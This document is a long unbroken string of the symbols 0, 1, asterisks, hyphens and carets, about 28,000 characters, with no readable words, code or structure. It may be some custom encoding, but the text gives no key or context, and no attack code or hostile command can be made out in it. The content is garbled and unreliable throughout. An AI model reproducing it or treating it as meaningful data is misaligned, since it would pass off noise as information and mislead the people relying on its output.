*0101*00--------*01101*-00101*001^1*-01*0101*001101*--------010-01*-00101*001^1*1101*0-11*01^1*11****01**01010101*001011********-1********************0101011********00-1101********101*11********-1*********00101011********0101^1*********110101*********1101********0^11*********0010-*********11*0101*10101*001*1*********011*1*0-*001*01^1*001****01*****0--0-*001^1*001****01**0-010^--0011*001^1*001*******-1*10--001101*01^1*********1***-001*1******0-*11*****01**0110101***0101***1^1^1*--------1*001*0-*10101*1^1*11****01***10101*001011********-********************0011*********00-********************0101*00101*1*01*01*1**1*01^1*^11*01010^---------001*00-*011*0^1101*****00-1^10101101**1*010^1*****01**001***00^101*001*1*--------1^-1*-00^1*0-11*--------01*01*0-*011*0^110101*^101101*011*001*1*1*^101101*011*001*1*********-1*0^-0010-01*011**11010101**101101010^^101**101**011010-01*011**101****1**010-10-11011011011******00-**11*-**11011******011**0011*101**--------0^-*0-*011*0^1101******1*0-10-1**1*010^1*****01**0101^11*00^101*001*1*--------01010-*-00^1101*********-011*00^1*^101101010-11*001*001*1*--------0110^1*-*011*0^1101********001101101*00^1*^1********001^11*001*01*001*1*********00101*********1**0101*101*01^11*00^110101^1*-11*1*011*1*00101*00--------110-01*-*011*0^110101*^1*****01**0011*01*00^^1*01*^1********0-0101*00^^1*00101*001101*********11010101********-01*********1010-*********1^1********0-0^1********1010-*******************1*-**********11********0-0^1********0101*0101*1*01**11*0^11*011*001^1*001****01**0-010^--0101*001^1*001*******010101010--*1*001^1*001****01*****0--01011**1*******0-11010--001101*01^1*********1***-001*1******0011*11*****01***0101****1***1^1^1******0--------0-**0-001011*0^1101********00^1011*00^1*^1*****01**010^11**1*01*001*1*01010^1*******00-001*010-0-*00--------^101*00-001011**-*--------01010-*-00^1101*****00101010--011**1*010^-^^-11*-*001*1*--------**1*0-001011*01*^1*****01**0-0^1*001*11*001*1*********0-*0^-0010-01*011**11010101**101101010^^101**101**011010-01*011*00--------0-101*0-001011*00101*0-11*1101*00101******001*011*010^11011******011**0011*-**11011******00-**11*101**--------*-1*0-001011*00101*0-11*1101**101*--------0010-1*-*0011*--------*1*1*-001011*0^1101*****00110101010-1**00^1^^11011*0-11*101*001*1*********1*1*********1**0101*101*01^11*00^110^101*0-11*1*0110101**01*00--------01010101*-001011**-*0101*001101*--------1^1101*-001011*0^1101*********1*01*00^1*^101^^-11*001*001*1*01^1*11****01**01^101*001011*******************011011********00^101********01*0101*********10101*********001********00-01*********0^101*********11011********00^101********00101^1*********^1*********11*0101*10^1*********0101^1*0-00-*001^1*001*******-1*10--0011*001^1*001*******0-11010--0101*001^1*001****01**0^110^--*1*001^1*001****01**001**0--001101*01^1*********1***-001*1******0101*11*****01**001011***0011***01^1^1*1*******0010101*********011*******001*00--******11***00101********-1^1**********001*******0010101*********011*******11**^11011*****001**^1101*****001****001******************************1101******11**1*001*****001**0-0-*****001**0010^11********01**1*******0010101*********011*******01**0110-1********00--*****01**0010-11****************00^1101*001********001010^-*001*1*------0-11*1011*0-00---------^1*0-*1^^1^1*1101*0-11*--------1^-1*-00^11*--------0-101*0-*1^^1^1*0101*0-11*********^1*0^-001**00--1^11*0011*01*1*--------1*-*0-*1^^1^1*^1*0-11*0011*01^1*-01*--------01^-*-00^1101******1*-1*101**^1^^1*****01**0-011**0^1*0^1*1*--------*0^1*-*1^^1^1*^1101******0110-10110-*001*010^1*****01**01*0011*001*1011*1*1*********10101*^-001**00--101101*0011*01*1*---------10101*-*1^^1^1*^1101*******01*00-**01*010^1********0101^1*00^-00^1*1*0011*01^1*^11*010101*11*********00--1********01*-*********01101*******************01011*********01011******************************0010-1*********1^1*********1^1********001**********0011*0101*^1^^1*1*01^^1^1*0-1***********0010-01101^1*********11*0010-0--------11*10101*-0011*^1^1*^1101********010--*00^1*^1********1*0101*001*^1*1*1*-----110--10101010--00^101^-*1*1*01*1*^1*01*1*--------*^11*-0011*^1^1*^1101010^^-11*1*^110110^-11*00^^1*1*^1*01^1**11010-01*^1*01*1***************************************************00101011********0010101*********101011********00-*00101*1011*^1*1*11*^1^1*01011***********0010-01101^1*********11*0010-0110101****01**00101*-10110101*001*1*011**11****001**1^1^-101^11****01***00101*0101*1**101*001*1*--------01^-*-00^1101*****00-0-10^1011*001*010^1*********10-*001*1011*1*1*--------001*11*-**0^1^1*^1101******-1*1*01**0^1^^101010^-11*1*0^1*1*********0^1*^-00101*001*1*********001101*********01101***************************************************01*001********0-*00101*1**^1*1**00^1^1*01011*00-0110101******001^^-11011011011******011*1*1101*0--10101*00^1**************************************************************0101*00101*^-1*1*1*0-1*1^1*-01*********00110^10-0---------1*011*-*0-*1^1*^1101*****001***^11**1*010^1101*10-11*01011*1*1*-----10---1*11010-*101****01**1*011*0101*101*00^1*****************************************0-1*********0-1********************11*00101*1*-*1*1*00-*1^1*01011***********0010-01101^1*********11*0010-011011****001**-01^-101101*******0011**0010-0011****011**0-0110-101^11****011**10^110-101^11*001*1*101*001*1*--------00^1*00-00^11*1^1*^1*0-11*011****001**10101^-101101*******0011**0010-0011****011**0-0110-101^11****011**10^110-101^11*001*1*101*001*1*--------101*1*0-00^11*1^1*^1*0-11*011****001**^-00-101101*******0011**0010-0011****011**0-0110-101^11****011**10^110-101^11*001*1*101*001*1*--------01^11*0-00^11*1^1*^1*0-11*--------11*-*-0010-*--------^10-*-00^1101******11***-**1*010^1*11*-11*01011*1*1*--------101*01*-00^11*1^1*^110^-1^-11*1*^1*****01**00-11**01*^1*1*1*********01*1*********^1*********01**101*10^1101*11*0-11*1101*01*1*--------1^-1*-*0011*---------10101*-00^11*1^1*^11**********1*0110-00^11*1101*01*1*1101*01^1*011****011**011*0-1101^1********1*0^10-0011*001*1**********1*1********1*0011********0-101********0^10101*******************-101********01*0011********00^1********00-0011*******************^10101********1101*0101*10^11*1*1*^11*1^1*-01*011*001^1*0101****01***0011*0101*101*00^1******01**01101**0-**************************************************************101**********11*00101*10-01*1*1*-01*1^1*01011*0101*01^1*0101****01**11011010-101^11****011***11010-1011*1*001*1*101*001^1*011****001***01^1^-*1*001^1*011****011**00-01*010^110101******00101**101******1***01^1*001******1**011010-*00^^1****************************************************-01*********101*00101*1010101*1*1*10101*1^1**11*1011*00101^1^1*01*1**1*01*1******001***00101*-00^1*01^1*01101*--------*011*00-001*1*1^1*01101**1*01^1**1*001^1*101****1**0^10^1^-*11*0110101*******0-*0101*--0-11*0110-0-11*-*******11***1010110-0-11*001^1*011*00--------0^-1*-00^1*0-11*--------1101101*0-001*1*1^1*1101101011011*1*^11*1*-11*1^1*1*1*********0-*0010-00110101******-01101*101******11**--1**1******11***11**00^-*00--------0--*0-001*1*1^1*^1101010110^-11*1*^1*********00101*001*^1*1*1*1101*0110101******--*00101*1101^-11**10^-11*011****011**0011*1*101*^11*1*110110^--0101*001********************01*01*0^-01*110101******-1*1*101******01**0-011**1******01**001101**01*11****011**1*-*0101*-**^^11010101010^1**^11011********************01*001*01********00101*01******************00101*01********1^101********00110^1********10-11*****************************00^10101********1*0101********0101*0101*101*1*1*1*1*1*1^1*^11******011**010--00-001**00--1*11*0011*01*1*--------01^101*-*-*01^1*01101*0011*01^1**11*0101*00101****01**0^1*1^-0--------1^-1*-*1101*--------10-101*-*-*01^1*11011010^1*0-11*1*^^-*-1*01*1*********0-*0^-001**00---101*0011*01*1*******1*001^^1*-*011*01^1*01101**********1*********************1*********001^1********00-011*********01101********00-011********00-*00101*^-*01*1*0-*01^1*11011*-1*01^1*001****01*****0--01^1*1^1*001****01**0-010^--00^1*1^1*001****01**001**0--001011*1^1*001*******010101010--01*0^1^1*001****01**0^110^--*^^1^1*001*******0-11010--0-00^1^1*001*******-1*10--001101*01^1*********1***-001*1*******1*11*****0101*001*****101***1^11011****10101*01********0010110-11011**01**01101*01^1*********1***-001*1******0101011********00-1****11***01^1^1******0010101*01********0010-0-^1**01101*01^1*********1***-001*1******0101011*********-****01***01^1^1******0010101*11****01**01*101*0101*11*******011**0010^10-*-*0010110101101*1101101101*001*********1*011*001*1**0101******0011*01*0101*1*****1101*01^1*********1***-*110^1********--------00^1*00-001011*0^1101*11*0-11*1*^--110-11*011*001*1*01010^1*********0-0010-0-*00--------^-*00-001011*001101*---------00-*-00^1101********001101101*00^1*^1********001^11*001*11*001*1*--------1^101*0-001011*010-*********-*00^-0010-01*011**1101*1**101101010^1*01**101**011010-01*011*00--------0101011*0-001011*01101*0-11*1101*00101****1**0^^--011011011******011**0011*101**--------0--*0-001011*01101*0-11*1101**101*--------01010-*-00^1101******10101*1010-*001*010^110^^-11*101*001*1*--------*1^1*-001011*0^11*********-*********001**0101*101*01^11*00^11010^11*-11*1*011011**001*00--------*01101*-001011*001101*0101*001101*--------^-01*-001011*01*^^1*10-11*001*001*1*01^1*11****01**00-001*001011*********0011*********01^1********1*1*********1*1*********0101*1********1*^1******************001*1*********01*01*********1^1**********11********001011*********0011*0101*10^1*********0-*1*0-*11*001^1*001****01*****0--0101*001^1*001*******010101010--*1*001^1*001****01**001**0--001101*01^1*********1***-001*1******011*011********10--**0011***01^1^1*********--------^101*00-00101*001^1*11011*01010^1*******00110110101010-0-*00--------1^-1*-0011011*--------0-11*00-00101*001^1*01101**********1*0--00^11010^1*01101101*011**1**********101101*00^1011*00-1*0011******001***01011**1*101**011010-01*011*00--------1*011*0-00101*001^1*^1101******1101010--01*001*010^1*****001***01**00^-*001*1*1101*00101****1**00^1*-1011011011******011**0011*101**--------01*001*-00101*001^1*00-*1101**101*--------1^-1*-00^11*--------0^^1*-00101*001^1*^1101******-01^1*011*00^1^^^110^-11*011*001*1*********0^1*********1**0101*101*01^11*00^110^^1010-11*1*011*1*0011**--------10101101*-00101*001^1*11011*0101*001101*----------01*-00101*001^1**11*01^1*11****01**0101^1*001011********************-********01*001*********0-1*********11011*********011**********0-********0110^1********00-**********-001********1010^1********1101*0101*10101*001*1*********1*001*0-00-*001^1*001*******010101010--0011*001^1*001****01**0^110^--001101*01^1*********1***-001*1******0110101********001*-1***01***1^1^1*1*******0010101*011*001**0101011010^11011**011**************1*1*****010101*11***************************************************************101*00101*101011*01*1*1011*01^1**11***********0010-01101^1*********11*0010-0---------0010-*-00^1101*****001*01*011***^1^^10-0010-11*1101*01*1*--------01^11*0-*101*01^1*00-**********1*0--*101********1*-1011*01*0^1*0--------010-1*0-*101*01^1*11011*1011**011010-01*^1*0--------011*01*-*101*01^1*^11*0101*0110101******^101*00101******1**0--01*001******1**00101*1*00^1*******0010^1*011*1011****01***010101*101********0011*-*001********00^11011*00^1*0110^11*-11*-**11*001101*0110101********11*101******11**11*101*001******11**-01101*00^^1**01*0--------^^11*-*101*01^1*11011*1011*001101*0011*001*******************************0--1********01101101********0-^1********0-^1*********11*********0--1*******************^1*0101*^101*01*1*0101*01^1*0-1*--------00-**-*11*001^1*^110101*^1*-10-11**1*01*1*1*^1*-10-11**1*01*1*********0^1**-00--------1^-1*-*1011*--------^-*00-*11*001^1**11**********1*0^-001**00--1*11*001*001*1*--------110^1*0-*11*001^1**11010^11*1*^1*01010-11**1*01*1*001*001^1*-01*--------0^-1*-00^1*0-11*--------11*11*0-*11*001^1*^1101*****00-10-*101**01*010^^1*10-11*-*001*1*********0^1*^-001**00--101101*001*001*1*----------1*0-*11*001^1*-01*001*001^1**11*0101*0011****011**0011*1*101*^11*1*110101^--*1*001*******************0^1*01*0^^11*--------^10-*-00^1101******1101101*00101*001*010^-011*-11*-*001*1*---------10101*-*11*001^1*0101*0-11*********^1*0^-001**00---101*001*001*1*--------01*011*-*11*001^1*01011*001*001^1*01101*********0-01*********1*001********0101^1********-1^1********1*-********011**********-1^1*******************101^1********0-001********01101*********01101*0101*^11*001*1*011*001^1*^11**1*01^1*001****01**0-010^--0-*001^1*001*******-1*10--01101*01^1*001****01**0^110^--001101*01^1*********1***-001*1******001*011*****01**011011011**00101***1^11011******001010^-*00-----^10-^1*11*-*0101*1^1*--00-11*-----^10-1101^11*-*0101*1^1*1*^1*****01**00-01**0^-01*1*1*--------^10-*-00^1101********001101011*00^1*^1^-10-11**11*1*1*-----^10-^110-*-*0101*1^1*0011*0-11*********^1*0^-001**00--101*^-11*0^1*1*1*-----11010-1***00-*0101*1^1*11011*0^1*1^1*-01*--------01^-*-00^1101******10-00-0101**1*010^1*****01**0^-11*00^11011*1*1*-----11010-10-1**-*0101*1^1*^1101******0-1101*011**1*010^1*****001**01101**00^11011*1*1*********10101*^-001**00--101101*0^1*1*1*-----11010-110-1*00-*0101*1^1*-00^-11*0^1*1^1*01*^-11*--------0^-1*-00101^10-11*-----11010-11*101*0-*0101*1^1*0101101*-*1*^^101*-11*^11*1*1*********0-*0--00^101^-*^11*01*1*1011*01*1*--------0^-1*-00-00^-11*-----11010-11*-*0-*0101*1^1*1*^^-010-11*^11*1*1*********0011*0^-001**00--11*0^-11*0^1*1*1*-----11010-1*1*1*-*0101*1^1*^110101*^1*00^-11*01011*1*1*1*^101101010-11*01011*1*1*0^1*1^1*01011*0011*00101*******0011*0--0--------0^-1*-0010-*-11*-----11010-101010101*-*0101*1^1**00^-11*********^1*0^-001**00--1^11*0^1*1*1*-----11010-110-101*-*0101*1^1*^110^-0110-11*1*^110^^-11**11*1*1*0^1*1^1*11011*1011*00101*******0011*0--0--------1^-1*-*1011*-----11010--011011*-*0101*1^1*-1*0-11*********^1*0^-001**00--101011*0^1*1*1*-----11010-10-0-*-*0101*1^1*010^10-11*0^1*1^1*00-*-11*--------01^-*-00^1101******01*^1^101*001*010^1*****01**01^1101*00^11011*1*1*-----10110-10-**0-*0101*1^1*^1101******1011*11*-*001*010^110110110-11*01101*1*1*********0^1*^-00110101******0010^1*101******11**-101**01******11**00-01**1*11****011**10-001*10^1101**-^1*^11*11**01*0101*01011*1011*0-11*0101^101101*^1*01*1*--------0^-1*-*10^10-11*-----10110-1101^1*0-*0101*1^1*1*^11*1*-11**11*1*1*********0011*0^-001**00---011*-11*0^1*1*1*-----10110-^^11*0-*0101*1^1*^1101********0110-01*00^1*^1^11010-11*^11*1*1*0^1*1^1*-1*0-11*-----10110-1010-1*0-*0101*1^1*^1101******101*0--11*001*010^1*****001**101011**0^11011*1*1*--------0^-1*-*1101*-11*-----10110-10110^1*-*0101*1^1*^1101*****0010^1101101^1*001*010^-110^-11*11011*1*1*********0^1*^-001**00--10-*0-11*0^1*1*1*-----10110--001101*-*0101*1^1*-^10-11*0^1*1^1**00^-11*-----10110-1**11*-*0101*1^1*01*010-11*0101****01**00101*-101101101*01*1*011****001**1^1^-101^11****01**0^^1*0101*1**1101*01*1*011****001**-01^-1011*1*001*1*1101*01*1*011****001**10101^-10110^1*01101*01*1*011****001**^-00-1011*01*01101*01*1*1101*01^1*011****001***01^1^-0-*00--------^10-*-00^1101*****00^1^-*101*001*010^1010^10-11*01101*1*1*------10-10-**0-*0101*1^1*01101**********1*0^-001**00----*-11*0^1*1*1*------10-11*01*00-*0101*1^1*^1101*****00-*-0-01**1*010^1*********00101*001*1101*1*1*0^1*1^1*1*1*-11*------10-1010-*00-*0101*1^1*110^10-11*^1*01^1*110101******00110101*101******1**010-**001******1**00-011**^1*1*1*1*10-00110-^-11*01101*1*1*1*1*1*1*1^1*1*******0010^^1011*-101**1*01*1*--------0^-1*-0011*^-11*------10-11011011*0-*0101*1^1*^11**********1*0^-001**00--1*01*-11*0^1*1*1*------10-1**01*-*0101*1^1*01101010-11*0^1*1^1*1011*0-11*-1*01^1*-*001*1*--------0^-1*-*1101010-11*------10-1*1^1*-*0101*1^1*^1101********0-*01*00^1*^1101*10-11**11*1*1*********0^1*^-001**00--^11*0-11*0^1*1*1*------10-110101101*-*0101*1^1*1*1*-11*0^1*1^1*01011*-11*001*001^1*011****011**1*-*0101*-**^1*0110101*1*1*001*-1********************1**1*0^--------^10-*-00^1101*****0011*0010101^1*00^1^^101*110-11*10101*1*1*------10-1*10-*-*0101*1^1*1*^1********11*101*001*0011*1*1*********-1*0^-001**00--1^11*-11*0^1*1*1*-----1*-1101***-*0101*1^1**10^-11*0^1*1^1*1*0^-11*1011*01^1**11010-01*1011*01*1*--------00110-*-00^1101010101^-11*1*^--010-11*01011*1*1*-----1*-1101*1*00-*0101*1^1*^110101*^^-110-11*^11*1*1*1*^1*****01**010101011*00^^11*1*1*********10101*^-001**00--1*00^-11*0^1*1*1*-----1*-1101*01*0-*0101*1^1*^1101******0010^110-11*00^1^^1********--01*00^10101*1*1*0^1*1^1*^11*-11*-----1*--101101*0-*0101*1^1*^1101*****00--010-1101*001*010^10^1*-11*01101*1*1*--------1^-1*-*-1*-----1*--^-*0-*0101*1^1*^1101********01*0011*00^1*^110-110-11*01011*1*1*********0^1*^-001**00--1*11*-11*0^1*1*1*-----1*-11*0^1*-*0101*1^1*1*0^-11*0^1*1^1*1^1*-11*0011*00101^-101*^1*01*1*--------0^-1*-001*0^-11*-----1*--0010101*-*0101*1^1*^10^-11*********^1*0^-001**00--10^1*-11*0^1*1*1*-----1*--0-101*-*0101*1^1*01*^-11*0^1*1^1*^11*1101*00101****01**0^1*1^-0--------0^-1*-*1*^-11*-----1*-1101101011*-*0101*1^1**-00-11*********^1*0^-001**00--1*11*0^1*1*1*-----1*--0010-*-*0101*1^1**11*0^1*1^1*0-1*-11**01*1^1**11010-01**01*1*1*--------^10-*-00^1101*****0011**^^1**1*010^110-*-11*01101*1*1*-----1^--101**0-*0101*1^1*00^^-11*********^1*0^-001**00--110-*-11*0^1*1*1*-----1^---1**-*0101*1^1*^110101*^1*****01**0101***0^-01*1*1*1*^1********10101101*00^-01*1*1*0^1*1^1*1101*0-11*011*001^1*0101^11011*01*1*0011*01*1*--------0^-1*-0010101^-11*-----1^--00^1*0-*0101*1^1*101^10-11*********^1*0^-001**00--10101*0-11*0^1*1*1*-----1^--0-01*0-*0101*1^1*10101*-11*0^1*1^1*-01*-11*--------^10-*-00^1101*******01*01011**01*010^101011*-11*01101*1*1*-----1^-11010-1*0-*0101*1^1*^1101******10^1011*001*001*010^1*****01**0110-**0^11011*1*1*********10101*0-11*0011*110101******0^-*0101******1***1*01*001******1**001*-*001*101*01*1*--------^10-*-*00110101^1*-11*1*^1*****01**00-011**^-01*1*1*-----1^-1101101101*-*0101*1^1*^1101*001^-11*1*^1*****01**0011***0^-01*1*1*********0^1*^-001**00--101101*-11*0^1*1*1*-----1^--^1011*-*0101*1^1*1*0010-11*0^1*1^1*0^1*-11*--------0^-1*-00-01^-11*-----1^--1^-*-*0101*1^1*0^1*-11*********^1*0^-00110101******0010^1*101******11**10^11**1******11**01101**001*11****011**1*-*0101*-**^^101101010^1**001*1011*******************001101*01*01*101^101101*^1*01*1*--------0^-1*-001*0010-11*-----1010--1*1*00-*0101*1^1*11011010^11*1*^^1^10-11*-01*1*1*********0-*0^-001**00--11*1*-11*0^1*1*1*-----1010-1^-1*00-*0101*1^1*^1*0-11*0^1*1^1**11*-11*001*001^1*011****01***1^1*0101*101*01*1*---------10-*-001*^101101010-11*^11*1*1*-----1010-1^-01*0-*0101*1^1*1*1^-11*********^1*0^-001**00---101*-11*0^1*1*1*-----1010-11*0-*0-*0101*1^1*^11010-11*0^1*1^1*00101*-11*-----1010--0-11*0-*0101*1^1*00^^-11*--------0^-1*-00^11010-11*-----1010--011*1*-*0101*1^1**01^-11*********^1*0^-001**00---001*-11*0^1*1*1*-----1010--*0101*-*0101*1^1*^1101*****00-*^^-**^1^^1********-10101*00^10101*1*1*0^1*1^1**01*-11**1*01^1*0101^1*01*1*1*-1*01*1*--------0^-1*-*1010^-11*-----1010-11*^11*-*0101*1^1*^1101*****0010-0110101^1*001*010^110101010-11*01101*1*1*********0^1*^-001**00---11*0-11*0^1*1*1*-----1010--0^-*-*0101*1^1*00101^-11*0^1*1^1*0011*0-11*-----1010-110^-1*-*0101*1^1*11*010-11*-*001^1*110101******00110101*101******01**01011**001******01**^1011**1*-*01*1*10-00-0-00-11*01101*0-*01*1*0-*01^1*1*******0010^^1011*-101*011*001*1*--------0^-1*-*0101^-11*------0--0^1*00-*0101*1^1*010-00-11*********^1*0^-001**00---01*0-11*0^1*1*1*------0--00-*00-*0101*1^1*0^1^-11*0^1*1^1*^1*0-11*1011*01^1*01101*--------^10-*-00^1101*****0011011***01*001*010^1^11*-11*01101*1*1*------0--001101*0-*0101*1^1*^11*-11*********^1*0^-001**00--10-1*0^1*1*1*------0-1^11011*0-*0101*1^1**1101*101*-11*1*^1*****01**01^11**0^^11*1*1*0^1*1^1*11011*-11*------0-1101*001*-*0101*1^1*00^^-11*--------0^-1*-*0011010-11*------0-110^^1*-*0101*1^1*11010^-11*********^1*0^-001**00--101011*-11*0^1*1*1*------0-1101^101*-*0101*1^1*-01*0^1*1^1*0-*0-11**01*1^1*01101*--------01^-*-00^1101********01*^1*00^1*^1********1*^1*001*1011*1*1*------0-11*^11*-*0101*1^1*1^1^-11*********^1*0^-001**00--11011*0-11*0^1*1*1*------0-1^-011*-*0101*1^1*^1101*****0011*^-0101**^1^^1*****01**00110^1*00^10101*1*1*0^1*1^1*0101*0-11*------0--010-1*-*0101*1^1*00-^-11*--------1^-1*-*0-*-----^--001**00-*0101*1^1*-*10-11*********^1*0^-001**00--1^1*0-11*0^1*1*1*-----^--*11**-*0101*1^1*10-*0^1*1^1*00-*001*001^1*0101*******0011*0--0--------00110-*-001*^1*****01**0101***0^^11*1*1*-----^---011*00-*0101*1^1*^-00-11*********^1*0^-001**00---011*0^1*1*1*-----^--010^1*0-*0101*1^1*^1101*****00101011*^-1*001*010^10-1*-11*01101*1*1*0^1*1^1*01101*-11*0101*01^1*0101^-101*^1*01*1*--------0^-1*-001101*0-11*-----^--1011011*0-*0101*1^1*^^10-11*********^1*0^-001**00--110101*-11*0^1*1*1*-----^--1**1*-*0101*1^1*1^1*-11*0^1*1^1*10-*101*001^1*110101******11*11*0101******1**0-01011*001******1***101011*001*11*00--------0^-1*-001^1*-11*-----^--01^101*-*0101*1^1**1101011011*1*^1********001*11*00^^11*1*1*********1*1*^-001**00--^-*0^1*1*1*-----^--1*0011*-*0101*1^1*^1101******01^-0010101*001*010^11*0010-11*01101*1*1*0^1*1^1*-11*-11*--------01^-*-00^1101********011*011*00^1*^1*****01**01101^1*00^-01*1*1*-----^--01010-*-*0101*1^1*01011010-11*********^1*0--00^101^-*-11*01*1**01*1*1*--------0^-1*-**1*-11*-----110--101**00-*0101*1^1*10-^-11*********^1*0^-001**00--10-1*-11*0^1*1*1*-----110--^11**-*0101*1^1**11*-11*0^1*1^1*10-*-11*1011*00101^-101*^1*01*1*--------0^-1*-*0011*-11*-----110--0^11*00-*0101*1^1*01101^-11*********^1*0^-001**00--^-*-11*0^1*1*1*-----110--011*1*0-*0101*1^1*010110^1011*1*^1*****01**0101***0^^11*1*1*0^1*1^1*0-1*0011*01^1*101*001*1*--------00110-*-00^11010110-00-11*1*^-011*-11**11*1*1*-----110--1101011*0-*0101*1^1*110-00-11*********^1*0^-001**00--110-*0^1*1*1*-----110--0--*0-*0101*1^1*0-*0-11*0^1*1^1**11*-----110--0101*1*-*0101*1^1*^1101******^11*1^101*001*010^1********101*01*001*1101*1*1*0101*0110101******0-*1*101******1**0101*01*001******1**01101*1*001*11****011**1*-*0101*-**^1*011010-110-*001*0011**********************01*0^110101******-1*1*101******1**001101101*001******1***10-1*001*11****01**01*001*0101*0101*11011010^1*0010^11*10-*001*0-*00101*--------01^-*-00^1101*****0010^--1***^1^^1*****01****1**0^10101*1*1*-----110--0^-1*-*0101*1^1***10-11*********^1*0^-001**00---101*0^1*1*1*-----10--1101**00-*0101*1^1*1*^1*****01**001*001*00^-01*1*1*0^1*1^1*10101*-11*--------0^-1*-*0101*-11*-----10----**-*0101*1^1*^1101******1**110-11*001*010^110-*-11*01101*1*1*********0^1*^-00110101******0010^1*101******01**1101^1*001******01***10-*001*11****011**1*-*0101*-**^^1101010110101101*00^11011********************-*01*01*101^101101*^1*01*1*--------0^-1*-*1011*-11*-----10--^^11*0-*0101*1^1*^1101*******0-1*101**^1^^-1^10-11*10101*1*1*********0^1*^-001**00--^101*-11*0^1*1*1*-----10--11**1*-*0101*1^1*1011*0-11*0^1*1^1*01101******01**001101101******1*0010-******011**1*01******101*0011*1******-*001011******00^1*001*001*****0^1*011*01******001*0-*1*****0011**1101^1*****011**1101*********01010-*****00-**1011011******1*001*-*****00101*00110^1******001*00^^1*****0-*001^101******001*0-1^1*****001**-001******011**0--*****001**-1*1*****0011**00-1*****00-**--1*****01**011*******011**1101^1*****0-*00101^11******1**10-01********0-0101********0011*****************01**0-1*1*****0^1*011*1******1**0-101******11**-1011******1**11*11*****00101**-1101*********011******1**001*11*****00101**-011*****0011***10101*****001***11011*****011**0010101******01*00110-******001*00-*******001*00-00-*****0^1*0^^11*****0011**^11******1**00-0-*****011**01*******011**00110-*****0101*0011010-*****0011*001101*1*****0^1**00101******001*01^1*******1***1******0101**^^1*****0-**011011*****00101***1011*****0101*0010--******01*001010-*****011**001^11*****0011*0010101101*****0^1*0101*******1**0-*1******1***1^1*********1*1*****011**001*1*****001***10-******01*001*-******001*0^101******101***11*******1*0-*1******1**0011*******01*0010110101*****0011**0011011*****01***1^11******01**0-01*****01**0-1******00^1***011*****0^1*01*1101*****001**11*01******11***01******001*001*101******11*00110^1******1**1010-******1**1*1101*****0^1*01011*1******01**001011*****0-*00-001******101**0^101*****001**-00-*****0-*00-1*1********11011010101*1*101*1*1*00101*1^1*0-1^-11*11011*1^1*001*******010101010--001011*1^1*001****01*****0--0^11*1^1*001*******0-11010--*011*1^1*001****01**0-010^--0-01*1^1*001****01**001**0--001101*1^1*001*******-1*10--010101*1^1*001****01**0^110^--001101*01^1*********1***-001*1******01*0011*****01101*0010-1***011***1^1^1****10101*01*******-1^110-11011**01**01101*01^1*********1***-001*1******0101011********00-1****11***01^1^1******0010101*01*******-1^-0-^1**01101*01^1*********1***-001*1******0101011*********-****01***01^1^1******0010101*11****01**0010^1*0101*11*******011**00101*1011*-*0010110101101*11*1*1*001*********-0101*001*1**0101******0011*01*0101*1*****1101*01^1*********1***-*110^1*****0010101*1^1*11****01**0-*1*001011010101*01*******1101^1**0-011******01**01010-0011**01*******10-001**011*******0011**1011*101^110-11*10-001******-**-11*00^^11*11011******01***10-0011*00--------101011*00-*011*0^1101*******^-010101*001*010^-011010-11*001*001*1*10-001*****0110101*1101011*001*1011*11011******01***10-0011*0010-001*****001*^^11**00^11011*11011******01**01010-0011*00--------*0011*0-*011*01*^--*-11*^1*010-001*****01*1*110^1**^10-*11011******01***10-0011*0010-001******01*011*011*001*0-*11011******01**01010-0011*00--------001*01*-*011**011*10-001*****01*11*001101**^-01*11011******01***10-0011*0010-001*****0--0010-11**1*0011*11011******01***10-0011*00--------10^101*-*011*0-01*10-001*****0^10^110^1**1*1101*11011******01**01010-0011**101*01*******0010^^1011*10-1*001*******00-001**010101******00101^1*0101*01*******0-^1*010-0^^1*******0010^^1011*1*****0-*0011*101*001********0010^101******************0011*11********0-^1********001011*********0110101********0101011*********10-1*********01*0101*1*01**11**-*001*001^1*001*******010101010--01011**1*******0-11010--***01101*01^1*********1***-001*1********011*****01**00-****001***1^1^1*********--------^11**-00101*001^1*^1101*****00-01*-0011**1*010^1********1101^1*00^-*001*1*01010^1*******0011**1010-0-*00--------1^-1*-0011011*--------110-*00-00101*001^1*1101*0-11*********^1*0010-0010-01*011*^1*01011**011010^1**01*0--------*0101*0-00101*001^1*^1101*********101011*00^1*^1*****01**0110^1**1*11*001*1*1011*00101101010^1*001**11******00101*001^^1*001*101**011010-01*011*00--------1^-*0-00101*001^1*01101*1101*00101*******1011011*10^11011******011**0011*101**---------*01*-00101*001^1*01101*1101**101*--------1^-1*-*-1*---------0^1*-00101*001^1*0101*0-11*********^1*********01**0101*101*01^11*00^1101010^110-11*1*011011**001*00--------1*1101*-00101*001^1*11011*0101*001101*--------110-01*-00101*001^1*01011*01^1*11****01**0011*1*001011********0010^1*********-********001101^1********01*01********0^-1********00110101*********011*********0-*********001*01*******************0110101********00110101*********11*0101*10101*001*1*********101*1*0-00-*001^1*001*******-1*10--0011*001^1*001*******0-11010--001101*01^1*********1***-001*1******0--01*****01**01*****11***01^1^1*********--------**1*0-*10101*1^1*11****01**0101*1*001011********011*********00-********************0011*********00-*********00101*00101*1*01*01*1**1*01^1**11*01010^--------1^-1*-00^11*--------00-1*00-*01*001^1*^1101*****00^11010-^11*001*010^1*****001***011**01*11*001*1*********10101*--*0-00--0^1^^-11**0011*10^1*****001***0101**1*01*******010101010--01*^1*00110-11*001****01*****0--**110-11*001****01*****0--0^1101*01*01101101*011*-*******11**1*^1*001*011******001**00-0-*00^1101******00-**1*1**01*101**011010-01*011**101****1***010^-1011011**11011******011**0011*101**--------1101^1*-*01*001^1*^1101*****00101^11*11**001*010^1^11*101*001*1*--------1^-1*-00-01*--------0^1101*-*01*001^1*0-1**********1*********01**0101*101*01^11*00^110101*1010-11*1*011*1*00101*00--------110^11*-*01*001^1*^11*0101*001101*********^101*********10-********00-1^1********************101********00101*********0011*1********0010-*********11*1********0^1*0101*1*1*001*1*001*001^1*11011*011*001^1*001*******010101010--0101*001^1*001*******-1*10--001101*01^1*********1***-001*1******00-1101*****01**01011*****1**001^1^1***00--------0-101*0-*10101*1^1*11****01***1*1*001011******************00-**********11*********00-********************0101*00101*10^1*01*1*^1*01^1*01011*01010^--------0010-1*-*0-*--------110^1*0-001011*0^1101********00110-1*00^1*^1********1*0-*00^-*001*1*********00101*010-0010-01*011*-*00---------0011*0-001011*001101*1101**011010-*00101*001101*00101101010^^101**101**011010-01*011**101******00^---011011**11011******011**0011*101**--------011*01*-001011*01*^^1*10-11*011*001*1*---------00-*-00^1101******-01*1^101*00^1^^1********0011*1*00^101*001*1*--------00^101*-001011*011011*********-*********001**0101*101*01^11*00^110^-1^-11*1*0110101**01*00-